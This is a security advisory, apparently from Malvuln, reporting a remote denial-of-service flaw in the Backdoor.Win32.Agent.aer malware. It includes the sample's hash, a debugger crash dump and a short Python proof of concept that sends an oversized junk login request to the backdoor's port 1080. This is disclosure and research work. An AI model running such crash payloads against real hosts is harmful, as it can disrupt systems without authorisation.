Share
## https://sploitus.com/exploit?id=PACKETSTORM:164286
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/9576a6a59715a69be499fa41d6383a64.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.aer  
Vulnerability: Remote Denial of Service  
Description: The malware listens on TCP port 1080. Third-party attackers who can reach infected systems can send a specially crafted junk payload for the logon credentials to trigger an exception and crash.  
Type: PE32  
MD5: 9576a6a59715a69be499fa41d6383a64  
Vuln ID: MVID-2021-0346  
Dropped files: svchost.exe  
Disclosure: 09/25/2021  
  
Memory Dump:  
(2fc8.1f84): Unknown exception - code 00000000 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=3883ff6c edx=3883ff74 esi=00000003 edi=00000003  
eip=776ced3c esp=3883f680 ebp=3883f810 iopl=0 nv up ei pl nz ac po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212  
ntdll!ZwWaitForMultipleObjects+0xc:  
776ced3c c21400 ret 14h  
  
0:003> .ecxr  
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000  
eip=00000000 esp=00000000 ebp=00000000 iopl=0 nv up di pl nz na po nc  
cs=0000 ss=0000 ds=0000 es=0000 fs=0000 gs=0000 efl=00000000  
00000000 ?? ???  
  
0:003> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for svchost.exe  
*** ERROR: Module load completed but symbols could not be loaded for svchost.exe  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
svchost+a334  
0040a334 8b4004 mov eax,dword ptr [eax+4]  
  
EXCEPTION_RECORD: 3883faa8 -- (.exr 0x3883faa8)  
ExceptionAddress: 0040a334 (svchost+0x0000a334)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 041a7d6c  
Attempt to read from address 041a7d6c  
  
DEFAULT_BUCKET_ID: APPLICATION_FAULT  
  
PROCESS_NAME: svchost.exe  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
CONTEXT: 3883faf8 -- (.cxr 0x3883faf8)  
eax=041a7d68 ebx=041a7d68 ecx=3883ff6c edx=3883ff74 esi=00403964 edi=00403964  
eip=0040a334 esp=3883ff58 ebp=3883ff6c iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
svchost+0xa334:  
0040a334 8b4004 mov eax,dword ptr [eax+4] ds:002b:041a7d6c=00000000  
Resetting default scope  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 041a7d6c  
  
READ_ADDRESS: 041a7d6c   
  
FOLLOWUP_IP:   
kernel32!BaseThreadInitThunk+0  
74118630 8bff mov edi,edi  
  
LAST_CONTROL_TRANSFER: from 0040398e to 0040a334  
  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
FAULTING_THREAD: ffffffff  
  
PRIMARY_PROBLEM_CLASS: APPLICATION_FAULT  
  
BUGCHECK_STR: APPLICATION_FAULT_APPLICATION_FAULT  
  
STACK_TEXT:   
3883ff58 0040a334 svchost+0xa334  
3883ff74 0040398e svchost+0x398e  
3883ff88 74118654 kernel32!BaseThreadInitThunk+0x24  
3883ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f  
3883ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b  
  
  
STACK_COMMAND: .cxr 000000003883FAF8 ; kb ; dds 3883ff58 ; kb  
  
SYMBOL_NAME: kernel32!BaseThreadInitThunk+0  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: kernel32  
  
IMAGE_NAME: kernel32.dll  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 744765ce  
  
FAILURE_BUCKET_ID: APPLICATION_FAULT_c0000005_kernel32.dll!BaseThreadInitThunk  
  
BUCKET_ID: APPLICATION_FAULT_APPLICATION_FAULT_kernel32!BaseThreadInitThunk+0  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=1080  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
JUNK="A"*2000   
PAYLOAD="GET /login?Nombre="+JUNK+"&Password="+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"  
s.send(PAYLOAD)  
s.close()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).